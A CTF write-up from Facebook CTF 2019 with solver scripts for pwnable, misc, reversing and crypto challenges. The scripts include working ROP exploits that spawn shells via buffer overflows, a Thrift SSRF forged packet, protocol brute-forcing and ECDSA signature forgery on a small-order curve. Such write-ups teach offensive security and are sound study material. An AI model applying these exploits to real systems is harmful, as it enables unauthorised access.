Facebook CTF 2019 had been held from June 1st 00:00 UTC to June 2nd 00:00 UTC.
I played this CTF as a member of zer0pts
.
We got 9372pts and reached 18th place.
I solved several challs and gained 4718pts.
The CTF was pretty hard but I really enjoyed it. Thank you for holding such a nice CTF!
- [pwnable 100pts] overfloat
- [pwnable 410pts] otp_server
- [misc 100pts] homework_assignment_1337
- [reversing 100pts] imageprot
- [misc 896pts] evil
- [pwnable 494pts] rank
- [misc 961pts] whysapp
- [crypto 919pts] storagespace
The challenge tasks and my solvers are available here. And this is the python library used in my solvers.
[pwnable 100pts] overfloat
Description: nc challenges.fbctf.com 1341 File: overfloat.tar.gz
The binary has a stack overflow in the float array.
We can simply overwrite the return address and do ROP since the SSP is disabled.
I leaked the libc address in the 1st ROP and then went back to _start
, and got the shell in the 2nd ROP.
from ptrlib import * from struct import pack, unpack elf = ELF("./overfloat") libc = ELF("./libc-2.27.so") #sock = Process("./overfloat") sock = Socket("challenges.fbctf.com", 1341) rop_pop_rdi = 0x00400a83 plt_puts = 0x400690 def rop(payload): for i in range(0x28 // 8 + 9): sock.recvuntil(": ") sock.sendline("3.14") for i in range(0, len(payload), 4): sock.recvuntil(": ") sock.sendline(repr(unpack('f', payload[i:i+4])[0])) sock.recvuntil(": ") sock.sendline("done") # Stage 1 payload = p64(rop_pop_rdi) payload += p64(elf.got("printf")) payload += p64(plt_puts) payload += p64(elf.symbol("_start")) rop(payload) sock.recvuntil("BON VOYAGE!\n") addr_printf = u64(sock.recvline().rstrip()) libc_base = addr_printf - libc.symbol("printf") dump("libc base = " + hex(libc_base)) # Stage 2 rop_pop_rax = libc_base + 0x000439c7 rop_pop_rsi = libc_base + 0x00023e6a rop_pop_rdx = libc_base + 0x00001b96 rop_syscall = libc_base + 0x000013c0 payload = p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(rop_pop_rsi) payload += p64(0) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) rop(payload) sock.interactive()
Good.
$ python solve.py [+] Socket: Successfully connected to challenges.fbctf.com:1341 [ptrlib] libc base = 0x7f298264d000 [ptrlib]$ BON VOYAGE! cat /home/overfloat/flag [ptrlib]$ fb{FloatsArePrettyEasy...}
[pwnable 410pts] otp_server
Description: nc challenges.fbctf.com 1338 File: otp_server.tar.gz
We can set key and encrypt a message, which are located in the bss section.
At first glance there seems no overflow.
As I looked into the encryption function, I found the cause of the vulnerability lies in snprintf
.
It properly stores our input with maximum length 0x104.
However, the return value of snprintf
is not the size finally stored but the size we tried to store.
Also, the buffer is right next to the key and we can coalesce those two regions.
This means we can control the return value of snprintf
between 0 to 0x204, which leads a buffer overread.
Now we got the libc address, but how can we get the shell?
Using the same vulnerability, we can overwrite the return address. Although the nonce token is generated randomly, we can check it before exitting the main function. And we can overwrite the return address byte by byte. This method requires long time to finish the exploit, but I think it's the intended way.
from ptrlib import * def set_key(key): sock.recvuntil(">>> ") sock.sendline("1") sock.recvline() sock.send(key) def encrypt(msg): sock.recvuntil(">>> ") sock.sendline("2") sock.recvline() sock.send(msg) sock.recvline() return sock.recvline().rstrip() libc = ELF("./libc-2.27.so") #sock = Process("./otp_server") sock = Socket("challenges3.fbctf.com", 1338) delta = 0xe7 # Leak libc & canary set_key("\xff" * 0x108) result = encrypt("\xff" * 0x100) canary = result[0x108:0x110] addr_libc_start_main = u64(result[0x118:0x120]) libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta dump("libc base = " + hex(libc_base)) dump(b"canary = " + canary) def overwrite(pos, target): x = 0 setFlag = True while True: if setFlag: setFlag = False set_key("A" * (0x18 + pos - x) + "\x00") nonce = u64(encrypt("A" * 0x100)[:4]) ^ 0x41414141 if (target >> (8 * (7 - x))) & 0xff == nonce >> 24: print(hex(target), hex(nonce >> 8)) setFlag = True x += 1 if x == 8: break rop_pop_rdi = libc_base + 0x0002155f rop_pop_rsi = libc_base + 0x00023e6a rop_pop_rax = libc_base + 0x000439c7 rop_ret = libc_base + 0x000008aa rop_syscall = libc_base + 0x000013c0 overwrite(0x30, rop_syscall) overwrite(0x28, 59) overwrite(0x20, rop_pop_rax) overwrite(0x18, 0) overwrite(0x10, rop_pop_rsi) overwrite(0x08, libc_base + next(libc.find("/bin/sh"))) overwrite(0x00, rop_pop_rdi) #_ = input() sock.sendline("3") sock.interactive()
Thank you admins for preparing the server in Tokyo :)
$ python solve.py [+] Socket: Successfully connected to challenges3.fbctf.com:1338 [ptrlib] libc base = 0x7f1da9615000 [ptrlib] b'canary = \x00\xdd\xc1\xa1<X\x1f\x95' 0x7f1da96163c0 0x7186 0x7f1da96163c0 0x42f 0x7f1da96163c0 0x7f86c1 0x7f1da96163c0 0x1d1602 0x7f1da96163c0 0xa93e39 0x7f1da96163c0 0x610472 0x7f1da96163c0 0x631ad4 0x7f1da96163c0 0xc0757f 0x3b 0xe653 0x3b 0xaa15 0x3b 0x26b7 0x3b 0xf359 0x3b 0xea64 0x3b 0xfebf 0x3b 0x7d33 0x3b 0x3be623 0x7f1da96589c7 0x5efa 0x7f1da96589c7 0x606f 0x7f1da96589c7 0x7fb553 0x7f1da96589c7 0x1d5b94 0x7f1da96589c7 0xa9b825 0x7f1da96589c7 0x65be41 0x7f1da96589c7 0x890277 0x7f1da96589c7 0xc78c49 0x0 0x1704 0x0 0x84f5 0x0 0x4fe3 0x0 0x9d29 0x0 0x40cf 0x0 0xab08 0x0 0x9ff1 0x0 0xe7f2 0x7f1da9638e6a 0x3084 0x7f1da9638e6a 0x5b7d 0x7f1da9638e6a 0x7fb9e7 0x7f1da9638e6a 0x1df8d0 0x7f1da9638e6a 0xa91371 0x7f1da9638e6a 0x63ea9f 0x7f1da9638e6a 0x8eace3 0x7f1da9638e6a 0x6a0c1a 0x7f1da97c8e9a 0xc460 0x7f1da97c8e9a 0xc851 0x7f1da97c8e9a 0x7f005f 0x7f1da97c8e9a 0x1da11d 0x7f1da97c8e9a 0xa9d63c 0x7f1da97c8e9a 0x7cb6b2 0x7f1da97c8e9a 0x8e7195 0x7f1da97c8e9a 0x9a03e9 0x7f1da963655f 0x8b48 0x7f1da963655f 0xae89 0x7f1da963655f 0x7fbafa 0x7f1da963655f 0x1de4ef 0x7f1da963655f 0xa97bea 0x7f1da963655f 0x63ad41 0x7f1da963655f 0x658341 0x7f1da963655f 0x5fe3ba [ptrlib]$ ----- END ROP ENCRYPTED MESSAGE ----- 1. Set Key 2. Encrypt message 3. Exit >>> [ptrlib]$ cat /home/otp_server/flag fb{One_byte_aT_a_time}
[misc 100pts] homework_assignment_1337
Description: Your homework assignment this evening is to write a simple Thrift client. Your client must call the ping method on the homework server challenges.fbctf.com:9090. The server allows you to check your work, try using the server to ping facebook.com or something. The ping.thrift file is provided below. File: homework_assignment_1337.tar.gz
We are given a thrift file.
Let's use the PingBot
.
if __name__ == '__main__': client = make_client(PingBot, "challenges.fbctf.com", 9090) arg = Ping(Proto.TCP, "facebook.com:80", "Hello") pong = client.ping(arg) print(pong)
Hmm, it seems a proxy rather than a echo server.
$ python solve.py Pong(code=0, data='HTTP/1.1 400 Bad Request\r\n')
The thrift file has a curious function that cannot be used.
// You do not have to call this method as part of your homework. // I added this to check people's work, it is my admin interface so to speak. // It should only work for localhost connections either way, if your client // tries to call it, your connection will be denied, hahaha! PongDebug pingdebug(1:Debug dummy),
OK, so let's send a forgery packet of the PongDebug on the server.
from ptrlib import p32 import thriftpy from thriftpy.rpc import make_client ping = thriftpy.load( 'ping.thrift', module_name="ping_thrift" ) Ping = ping.Ping Pong = ping.Pong Debug = ping.Debug PongDebug = ping.PongDebug PingBot = ping.PingBot Proto = ping.Proto if __name__ == '__main__': client = make_client(PingBot, "challenges.fbctf.com", 9090) packet = b"\x80\x01\x00\x01" packet += p32(len("pingdebug"), order='big') packet += b"pingdebug" packet += b"\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00\x7b\x00\x00" arg = Ping(Proto.TCP, "localhost:9090", packet) pong = client.ping(arg) print(pong)
Perfect!
$ python solve.py Pong(code=0, data=b'\x80\x01\x00\x02\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x00\x0f\x00\x01\x0c\x00\x00\x00\x02\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00\x1f"fb{congr@ts_you_w1n_the_g@me}"\x00\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00!\x80\x01\x00\x01\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00{\x00\x00\x00\x00\x00')
[reversing 100pts] imageprot
Description: We have had some issues with profile photo theft as of late, so I built a proof of concept vault to store your pictures, it's so secure, even I don't know how to get the photo back out! File: imageprot.tar.gz
It's an ELF binary written with Rust. I found something curious in the binary.
$ string imageprot -n 100 | less /rustc/6c2484dc3c532c052f159264e970278d8b77cdc9/src/libcore/str/pattern.rs9fjfwCA9dx1pMmVgcW90aF11LQr1wSB4ZVhJRl8uY2MudQogICggIi81ICNfIF8hYC8KIKdJIHggLiJhIF4gRiIuIF8sCYAhICNcXzthIiwtLYJifCsvCiAhICAiXtwjICQgICAhOy8IaCAgICDfsV8YcEhPVDBcYk9QABMOECAYImtvJmQKCiAgICAVfxJtcEBhcG90IE3pMIbTryCSJMmgKcfC1mxQoMogMSgiaCxZIyF9IF0xYS0bId/kIGMgLiNlIV8hYSMvIF8sCiAgICBdXThkJysqJStqd9DrCpUwICIhI38iJCMlJSQkOy8LXSEiIyAkTVoyARFhJkx+aycCUTQSobGBaAFgk6EfWPHQBBNPT9kpfnN2aHZuBXsaBSMgFBUWFxgZGhxqa2hpF0Nqc3R1dnl/eXo8RDpGB0ZjSlNUVQpXVlsao9ql5qWmqdW+mbS1trfExqHCgYmIi4XI1YWduZSVlpeYmcbi4+Tl5ufo8uXY8/T19vf4hYXBwsPExbnI4snK0dLT1NXWl9rb2J ... /VgHajKFLJ53yD6MimpC98gTOVxgr34zK9H9M5YDKEyFQxfJA8sC6UbF7Hc6ypKEvDjveeZw9I1ftUA7OaV+bgFwoPd6Z00XT/RX0N1VmiHrE/XtOkff+dqYDsNsDJgHupTWb7yxsyTOTNsEOmhSJ8RO2/FbfFlNKZaV78NbuNsnZxbwrkfWGBy5zkci8P9kp387vgPsTBfOo9lIDRxJSI2cyUKHnFlIDSHPHsz/i9Jc7lYldIw1TVAvRS5rc3d8jIBogTKK/YL6jmrEUjNbm16NF9xJToKcWU0IC1lOiIxZUogMWc6IA5pHiHf89H2d5ngKAWPrShI3q8lIoKgKgiCoHYIgqAqCIKgMQeooCoIgqAqdP2gKgiCoFUHqKAqCIKgKgiC4CgKgOAAIoKgKgiPvVEI1uVrWM30KnWfrQAigqAqCIKgKneMriQG/YoqCIKgKgaFoCp3gt8qSIyKKgiCoHYIjKJqCPygagqMoFUEqKAqCILcVRPCoicFj6JqVI2vAAiCoCoIgvwqCIKgH9/5
It seems to be a base64-encoded string of a big data. I extracted it and decoded the file.
$ hexdump -C pon | less 00000000 f5 f8 df c0 20 3d 77 1d 69 32 65 60 71 6f 74 68 |.... =w.i2e`qoth| 00000010 5d 75 2d 0a f5 c1 20 78 65 58 49 46 5f 2e 63 63 |]u-... xeXIF_.cc| 00000020 2e 75 0a 20 20 28 20 22 2f 35 20 23 5f 20 5f 21 |.u. ( "/5 #_ _!| 00000030 60 2f 0a 20 a7 49 20 78 20 2e 22 61 20 5e 20 46 |`/. .I x ."a ^ F| 00000040 22 2e 20 5f 2c 09 80 21 20 23 5c 5f 3b 61 22 2c |". _,..! #\_;a",| 00000050 2d 2d 82 62 7c 2b 2f 0a 20 21 20 20 22 5e dc 23 |--.b|+/. ! "^.#| 00000060 20 24 20 20 20 21 3b 2f 08 68 20 20 20 20 df b1 | $ !;/.h ..| 00000070 5f 18 70 48 4f 54 30 5c 62 4f 50 00 13 0e 10 20 |_.pHOT0\bOP.... | ...
It has some string such as eXIF
and pHOT0\bOP
, which reminds me of JPEG header.
I tried to find the XOR key of this file and found the first part to be like \n -=[ teapot ]=-\n\n
but the key was too long to restore.
Let's find the key in another way.
When I tried this challenge, @theoldmoon0602 had already found that the binary works if it could resolve challenges.fbctf.com
.
@theoldmoon0602 also found that the binary tries to access to http://challenges.fbctf.com:80/vault_is_intern
.
So, I added the following config to my /etc/hosts
127.0.0.1 challenges.fbctf.com
and set up the following simple server.
from flask import * app = Flask(__name__) @app.route('/vault_is_intern', methods=['GET']) def vault(): return "Hello, World" if __name__ == '__main__': app.run( host = '0.0.0.0', port = '80', debug=True )
It seems it's working. (It quits when something like gdb is running on the machine.)
$ ./imageprot Welcome to our image verification and protection software! This program ensures that malicious hackers cannot access our secret images. [+] Internal network connectivity verified. [+] Image integrity verified, exiting.
I checked the packets in Wireshark and found a curious DNS packet.
It tries to access to httpbin.org
...?
I added the following line to /etc/hosts
and run the binary again.
127.0.0.1 httpbin.org
$ ./imageprot Welcome to our image verification and protection software! This program ensures that malicious hackers cannot access our secret images. [+] Internal network connectivity verified. thread 'main' panicked at 'Failed to fetch URI: Error(Hyper(Error(Connect, Os { code: 111, kind: ConnectionRefused, message: "Connection refused" })), "https://httpbin.org/status/418")', src/libcore/result.rs:997:5 note: Run with `RUST_BACKTRACE=1` environment variable to display a backtrace.
Finally found the teapot!
$ curl https://httpbin.org/status/418 -=[ teapot ]=- _...._ .' _ _ `. | ."` ^ `". _, \_;`"---"`|// | ;/ \_ _/ `"""`
Let's restore the JPEG file.
with open("pon", "rb") as f: buf = f.read() with open("key", "rb") as f: key = f.read() for i in range(len(buf)): buf = buf[:i] + bytes([buf[i]^key[i%len(key)]]) + buf[i+1:] with open("out", "wb") as f: f.write(buf)
Great!
[misc 896pts] evil
Description: I'm trying to break into the EVIL club and I've figured out their password. I still can't get in though because they now have a new secret evil handshake. I've attached what I captured from the old handshake, maybe it will help. Server: nc 35.155.188.29 8000 File: evil.tar.gz
@st98 considered that this challenge might be related to the evil bit. So, I tried this one because I like the evil bits :)
The given pcap file has a TCP stream:
What's the secret password then? The word of the day is lemons. Every Villain Is Lemons Welcome to the club evildoer
The packets don't have the evil bits set to 1. However, I found that every evil bit is set to 1 in the remote server.
So, let's set the evil bit to 1 and access to the server. I used this kernel module to modify the evil bit for every packet.
# lsmod | grep evil evil 16384 0 # nc 35.155.188.29 8000 So you know the evil handshake? What's the secret password then? The word of the day is loganberries. Every Villain Is Loganberries fb{th4t5_th3_3vi1est_th1ng_!_c4n_im4g1ne}
[pwnable 494pts] rank
Description: nc challenges.fbctf.com 1339 File: rank.tar.gz
There are 12 titles in the bss section but we can access to arbitrary range.
In order to leak the libc address, I prepared the address to write@got
in the buffer used in the user input.
# libc leak payload = b"A" * 8 + p64(elf.got("write")) evil_show(payload) rank(0, (addr_buf - addr_list) // 8 + 1) addr_write = u64(show()[0]) libc_base = addr_write - libc.symbol("write") addr_one_gadget = libc_base + 0x10a38c dump("libc base = " + hex(libc_base))
We also have arbitrary overwrite on the stack in the Rank function.
It seems pretty easy to get the shell...?
No.
The problem is that the result of strtol
is cast to int
, which means we can write only 32-bit values.
So, we can't call system("/bin/sh")
directly.
Let's craft a ROP gadget.
There may be useful ROP gadgets hopefully.
I found some gadgets such as pop rdi;
, pop rsi; pop r15;
as usual.
However, there is no gadget to set rdx like pop rdx;
.
We need to change rdx in order to call read(rdi, rsi, rdx);
because rdx is set to 0 before exitting the main function.
Don't worry. I have another plan: ret2csu.
Even if we can't set rdi, rsi and rdx, we can use __libc_csu_init
to call some functions with maximum 3 arguments.
I called read(0, <strtol@got>, 8)
to change strtol
to system
and then called _start
.
The last thing to do is send /bin/sh
in the menu.
from ptrlib import * def show(): sock.recvuntil("> ") sock.sendline("1") ret = [] for i in range(12): data = sock.recvline().rstrip().split(b". ") ret.append(data[1]) return ret def evil_show(fmt): sock.recvuntil("> ") sock.sendline(fmt) def rank(i, pos): sock.recvuntil("> ") sock.sendline("2") sock.recvuntil("t1tl3> ") sock.sendline(str(i)) sock.recvuntil("r4nk> ") sock.sendline(str(pos)) libc = ELF("./libc-2.27.so") elf = ELF("./r4nk") #sock = Process("./r4nk") sock = Socket("challenges.fbctf.com", 1339) addr_start = 0x400018 # address that points <start> addr_list = 0x602080 addr_buf = 0x602100 plt_read = 0x4005f0 rop_pop_rdi = 0x00400b43 rop_pop_rsi_r15 = 0x00400b41 rop_prepare_reg = 0x00400b3a rop_csu_init = 0x400b20 # libc leak payload = b"A" * 8 + p64(elf.got("write")) evil_show(payload) rank(0, (addr_buf - addr_list) // 8 + 1) addr_write = u64(show()[0]) libc_base = addr_write - libc.symbol("write") addr_one_gadget = libc_base + 0x10a38c dump("libc base = " + hex(libc_base)) # craft ROP chain payload = [ rop_prepare_reg, 0, # rbx 1, # rbp == rbx + 1 elf.got("read"), # r12 = &<func> 0, # r13 = arg1 elf.got("strtol"), # r14 = arg2 0x8, # r15 = arg3 rop_csu_init, 0xdeadbeef, 0, # rbx 1, # rbp == rbx + 1 addr_start, # r12 = &<func> 0, # r13 = arg1 0, # r14 = arg2 0, # r15 = arg3 rop_csu_init ] for i, addr in enumerate(payload): assert 0 <= addr <= 0xffffffff rank(19 + i, addr) # ROP it sock.recvuntil("> ") sock.sendline("3") sock.send(p64(libc_base + libc.symbol("system"))) # get the shell! sock.recvuntil("> ") sock.sendline("/bin/sh\x00") sock.interactive()
Cool!
$ python solve.py [+] Socket: Successfully connected to challenges.fbctf.com:1339 [ptrlib] libc base = 0x7f5a3050a000 [ptrlib]$ cat /home/r4nk/flag [ptrlib]$ flag{wH0_n33ds_pop_rdx_4NYw4y}
[misc 961pts] whysapp
Description: We're working on a brand new sort of encrypted version of Whatsapp, we call it Whysapp. We took the base technology behind Whatsapp and upgraded it to use a super shiny new language. File: whysapp.tar.gz
The server returns a base64-encoded string.
$ nc challenges.fbctf.com 4001 G+jdtmUJh5RurA2yk42yJlZRSIEZKcbWZ+49KB/uhJ4s7dqZiOUTdndHzpPeuG1hOvJUAro/1ob8 3RWUkHOui+X4jKyGxUhkfR/tg1el+9Q=
We are given a beam file of the Elixir language. I don't know of Elixir at all but could disassemble it just by following the steps in this article. Let's see how it works.
This is the recv
function:
{:function, :recv, 1, 20, [{:line, 19}, {:label, 19}, {:func_info, {:atom, Whysapp}, {:atom, :recv}, 1}, {:label, 20}, {:allocate, 1, 1}, {:move, {:integer, 0}, {:x, 1}}, {:move, {:x, 0}, {:y, 0}}, {:line, 20}, {:call_ext, 2, {:extfunc, :gen_tcp, :recv, 2}}, {:test, :is_tagged_tuple, {:f, 21}, [{:x, 0}, 2, {:atom, :ok}]}, {:get_tuple_element, {:x, 0}, 1, {:x, 0}}, {:line, 21}, {:call_ext, 1, {:extfunc, :base64, :decode, 1}}, {:move, {:literal, "yeetyeetyeetyeet"}, {:x, 1}}, {:move, {:x, 0}, {:x, 2}}, {:move, {:atom, :aes_ecb}, {:x, 0}}, {:line, 22}, {:call_ext, 3, {:extfunc, :crypto, :block_decrypt, 3}}, {:move, {:literal, <<0>>}, {:x, 1}}, {:line, 23}, {:call_ext, 2, {:extfunc, String, :trim_trailing, 2}}, {:move, {:x, 0}, {:x, 1}}, {:move, {:y, 0}, {:x, 0}}, {:line, 24}, {:call_ext_last, 2, {:extfunc, Whysapp, :process, 2}, 1}, {:label, 21}, {:line, 20}, {:badmatch, {:x, 0}}]},
It uses AES ECB cipher with the key set to yeetyeetyeetyeet
, and passes the decrypted data to process
.
I decrypted the packets with this key and found there are several types of messages such as cat:cat
, math:53+72
and so on.
I passed this message to the process
function of Whysapp and found the following rule.
Given nessage | Message to send |
---|---|
msg:"X" | "random int":msg:"X" |
cat:cat | "random int":cat:cat |
ping:ping | "random int":ping:pong |
math:"exp" | "random int":math:"evaluated exp" |
I made the client and communicated with the server:
... [ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] >>>995757198:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] <<< math:47*32 [ptrlib] >>>58844597:math:1504 [ptrlib] <<< You've exhausted your free messages limit. Only users with low IDs can communicate beyond this point.
Let's set the random id to 1.
[ptrlib] <<< math:26*19 [ptrlib] >>>1:math:494 [ptrlib] <<< math:82*24 [ptrlib] >>>1:math:1968 [ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] >>>1:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] <<< flag:Almost there. Only zuck can issue the flag command. [ptrlib] >>>1:flag:Almost there. Only zuck can issue the flag command. [ptrlib] <<< msg:You're not zuck!!!!!!!!
I had been stuck here and tried brute force.
... [ptrlib] Attempt: 4 [ptrlib] fb{whys_app_when_you_can_whats_app}
Found the flag haha.
from Crypto.Cipher import AES import base64 import random from ptrlib import * key = "yeetyeetyeetyeet" crypto = AES.new(key, AES.MODE_ECB) flag = False def process(cipher, rid=1): global flag plain = crypto.decrypt(base64.b64decode(cipher)).rstrip(b"\x00") plain = bytes2str(plain) #dump("<<< " + plain) r = 0 #r = random.randint(1, 1000000000) try: ope, data = plain.split(":") except: print(plain) exit() if flag and ope == 'msg': dump("Attempt: " + str(rid)) if "You're not zuck!!!!!!!!" not in data: dump(data) if ope == 'math': # math result = eval(data) plain = "{}:{}:{}".format(r, "math", result) elif ope == 'ping': # ping plain = "{}:ping:pong".format(r) elif ope == 'flag': # flag plain = "{}:flag:{}".format(rid, data) # ????? flag = True else: # cats plain = "{}:{}".format(r, plain) #dump(">>>" + plain) plain += "\x00" * (16 - (len(plain) % 16)) cipher = base64.b64encode(crypto.encrypt(plain)) return cipher log.level = ["warning"] for r in range(0, 0x100000000): sock = Socket("challenges.fbctf.com", 4001) flag = False while True: c = sock.recv() if c is None: break s = process(c, r) sock.sendline(s) sock.close()
[crypto 919pts] storagespace
Description: In order to fit in with all the other CTFs out there, I've written a secure flag storage system! It accepts commands in the form of json. For example: help(command="flag") will display help info for the flag command, and the request would look like: {"command": "help", "params": {"command": "flag"}} flag(name: Optional[str]) Retrieve flag by name. {"command": "flag", "params": {"name": "myflag"}} flag{this_is_not_a_real_flag} You can access it at nc challenges.fbctf.com 8089 P.S. some commands require a signed request. The sign command will take care of that for you, but no way you'll convince me to sign the flag command xD Server: nc challenges.fbctf.com 8089
We can issue some commands. First of all I wrote helper functions.
from ptrlib import * import json import base64 import re from fastecdsa.curve import Curve from fastecdsa.point import Point import hashlib import sys import time def sign(payload): sign_payload = {"command": "sign", "params":{ "command": payload["command"], "params": payload["params"] }} sock.recv() sock.sendline(json.dumps(sign_payload)) w = sock.recvline() s = json.loads(w.rstrip()) return s def info(): payload = {"command": "info", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) curve = sock.recvline().rstrip() generator = sock.recvline().rstrip() pubkey = sock.recvline().rstrip() r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve) curve = (int(r[0][0]), int(r[0][1])) prime = int(r[0][2]) r = re.findall(b"generator: \((\d+), (\d+)\)", generator) G = (int(r[0][0]), int(r[0][1])) r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey) pubkey = (int(r[0][0]), int(r[0][1])) return curve, prime, G, pubkey def spec(mode="all"): payload = {"command": "spec", "params": {"mode": mode}} payload["sig"] = sign(payload)["sig"] sock.sendline(json.dumps(payload)) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) exit() def save(name, flag): payload = {"command": "save","params": {"name": name, "flag": flag}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) sock.recvuntil("flag stored\n") def list(): payload = {"command": "list", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) res = sock.recv() return res.split(b"\n")[:-1]
list
shows us that there is just one flag named fbctf
.
So, our goal is to issue {"command": "flag", "params": {"name": "fbctf"}}
with a valid signature.
The server uses an elliptic curve to sign/verify a message.
The signature is generated like this:
( is a generator of and is the order of .) The server verifies a message like this:
The point is that the order of is so small that we can successfully calculate the discrete log problem. Let's make a fake signature for our new message.
If we can find such that , we can find for an arbitrary because holds. So, we just need to calculate . I divided the process into communication part (solve.py) and calculation part (solve.sage).
solve.py:
from ptrlib import * import json import base64 import re from fastecdsa.curve import Curve from fastecdsa.point import Point import hashlib import sys import time def sign(payload): sign_payload = {"command": "sign", "params":{ "command": payload["command"], "params": payload["params"] }} sock.recv() sock.sendline(json.dumps(sign_payload)) w = sock.recvline() s = json.loads(w.rstrip()) return s def info(): payload = {"command": "info", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) curve = sock.recvline().rstrip() generator = sock.recvline().rstrip() pubkey = sock.recvline().rstrip() r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve) curve = (int(r[0][0]), int(r[0][1])) prime = int(r[0][2]) r = re.findall(b"generator: \((\d+), (\d+)\)", generator) G = (int(r[0][0]), int(r[0][1])) r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey) pubkey = (int(r[0][0]), int(r[0][1])) return curve, prime, G, pubkey def spec(mode="all"): payload = {"command": "spec", "params": {"mode": mode}} payload["sig"] = sign(payload)["sig"] sock.sendline(json.dumps(payload)) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) exit() def save(name, flag): payload = {"command": "save","params": {"name": name, "flag": flag}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) sock.recvuntil("flag stored\n") def list(): payload = {"command": "list", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) res = sock.recv() return res.split(b"\n")[:-1] if __name__ == '__main__': fake_payload = {"command": "flag", "params": {"name": "fbctf"}} fake_msg = json.dumps(fake_payload, sort_keys=True) sock = Socket("challenges.fbctf.com", 8089) sock.recvuntil("patience\n") param, n, G, H = info() curve = Curve( name = "taro", p = n, q = n, a = param[0], b = param[1], gx = G[0], gy = G[1] ) G = Point(G[0], G[1], curve=curve) H = Point(H[0], H[1], curve=curve) dump("curve: y^2 = x^3 + {}x + {} mod {}".format(param[0], param[1], n)) dump("G = ({}, {})".format(G.x, G.y)) dump("H = ({}, {})".format(H.x, H.y)) payload = {"command": "help", "params": {}} l = base64.b64decode(sign(payload)["sig"]).split(b"|") r, s = int(l[0]), int(l[1]) dump("r, s = {}, {}".format(s, r)) dump("new_msg = " + fake_msg) with open("input.txt", "w") as f: f.write("{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n".format(n, param[0], param[1], s, r, G.x, G.y, H.x, H.y)) while True: try: sig = sys.stdin.readline().rstrip() if sig: break finally: time.sleep(1) dump("sig = " + sig) payload = {"command": "flag", "params": {"name": "fbctf"}, "sig": sig} sock.recv() sock.sendline(json.dumps(payload)) print(sock.recv()) sock.interactive()
solve.sage:
import hashlib import base64 fake_msg = '{"command": "flag", "params": {"name": "fbctf"}}' n = int(raw_input("n = ")) A = int(raw_input("A = ")) B = int(raw_input("B = ")) s = int(raw_input("s = ")) r = int(raw_input("r = ")) Gx = int(raw_input("Gx = ")) Gy = int(raw_input("Gy = ")) Hx = int(raw_input("Hx = ")) Hy = int(raw_input("Hy = ")) F = Zmod(n) E = EllipticCurve(F, [A, B]) G = E.point((Gx, Gy)) H = E.point((Hx, Hy)) k = n - 314 Q = G * k r = int(hashlib.sha256(fake_msg + str(Q[0])).hexdigest(), 16) pub = discrete_log(H, G, operation='+') assert r * H == pub * r * G s = (k - pub * r) % E.order() sig = base64.b64encode(str(r) + "|" + str(s)) print(pub) print(Q) print(s*G + r*H) print(sig)
Terminal 1:
$ python client.py [+] Socket: Successfully connected to challenges.fbctf.com:8089 [ptrlib] curve: y^2 = x^3 + 130939496966954247505692064871042135207x + 135139266651492282791665127691622267381 mod 210608707847801565748958054867898833971 [ptrlib] G = (143417176998134602100619591422626758333, 130227579156607644879610759408262650788) [ptrlib] H = (199079881625313231076143726873011934220, 137375402122334256318232545713548992134) [ptrlib] r, s = 92207699106857002675556523714181963886, 79157924427059153781815650610767382592467279417582779601053359909339438719209 [ptrlib] new_msg = {"command": "flag", "params": {"name": "fbctf"}} ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk= [ptrlib] sig = ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk= b'fb{random_curves_are_not_safe?}\n\n' [ptrlib]$
Terminal 2:
